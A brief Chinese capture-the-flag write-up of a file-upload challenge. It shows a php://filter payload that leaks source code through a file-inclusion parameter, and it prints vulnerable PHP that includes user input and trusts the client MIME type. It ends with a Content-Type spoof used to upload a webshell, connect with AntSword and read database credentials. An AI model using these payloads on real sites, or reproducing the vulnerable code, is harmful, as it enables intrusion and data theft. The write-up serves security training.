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题目类型:文件上传

注释中提示存在文件包含漏洞，怀疑是不是审计上传代码，并利用上传漏洞上传shell脚本

上传测试

上传php失败

利用php://filter伪协议获得index.php代码
?file=php://filter/convert.base64-encode/resource=index.php

代码审计

<?php

include($_GET['file']); 
@$pic = $_FILES["file"]["name"];
@$pics = explode('.' , $pic);

if(@isset($_POST[submit])){ //限制MIME
    if ((($_FILES["file"]["type"] == "image/gif")
            || ($_FILES["file"]["type"] == "image/jpeg")
            || ($_FILES["file"]["type"] == "image/pjpeg"))){

        if ($_FILES["file"]["error"] > 0){
            echo "Return Code: " . $_FILES["file"]["error"] . "
";
        }else{
            echo "Upload: " . $_FILES["file"]["name"] . "
";
            echo "Type: " . $_FILES["file"]["type"] . "
";
            echo "Size: " . ($_FILES["file"]["size"] / 1024) . " Kb
";
            //echo "Temp file: " . $_FILES["file"]["tmp_name"] . "
";
            if (file_exists("upload/" . $_FILES["file"]["name"])){
                echo $_FILES["file"]["name"] . " already exists. ";
            }else{
                move_uploaded_file($_FILES["file"]["tmp_name"],
                    "upload/" . $_FILES["file"]["name"]);
                echo "Stored in: " . "upload/" . $_FILES["file"]["name"];
            }
        }
    }else{
        echo "";
        echo "Invalid file";
    }
}else{
    // echo "Invalid file";
}

?>

修改MIME成功上传

成功使用蚁剑连接

找到数据库配置文件

连接数据库获得flag

palylaod

修改MIME
Content-Type: image/jpeg